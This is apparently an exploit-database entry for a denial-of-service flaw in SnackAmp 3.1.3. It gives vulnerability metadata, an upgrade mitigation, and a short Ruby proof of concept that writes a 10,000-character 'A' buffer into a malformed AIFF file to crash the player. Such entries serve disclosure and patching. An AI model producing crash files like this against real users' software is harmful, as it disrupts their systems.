header-logo
Suggest Exploit
vendor:
SnackAmp
by:
Ahmed Elhady Mohamed
7,8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: SnackAmp
Affected Version From: 3.1.3
Affected Version To: 3.1.3
Patch Exists: YES
Related CWE: N/A
CPE: o:snackamp:snackamp:3.1.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 11.4
2011

SnackAmp 3.1.3 Malicious aiff File Denial of service

SnackAmp 3.1.3 is vulnerable to a denial of service attack when a malicious AIFF file is opened. The application will crash when the malicious file is opened.

Mitigation:

Upgrade to the latest version of SnackAmp.
Source

Exploit-DB raw data:

SnackAmp 3.1.3 Malicious aiff File Denial of service
===================================================================================
# Exploit Title:SnackAmp 3.1.3 Malicious aiff File Denial of service
# Download link :http://sourceforge.net/projects/snackamp/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 3.1.3
# Category: DOS
# Tested on: ubuntu 11.4 
===================================================================================

File.open "crash1.aiff" , "w" do |file|

buffer = "A" * 10000

file.puts buffer
end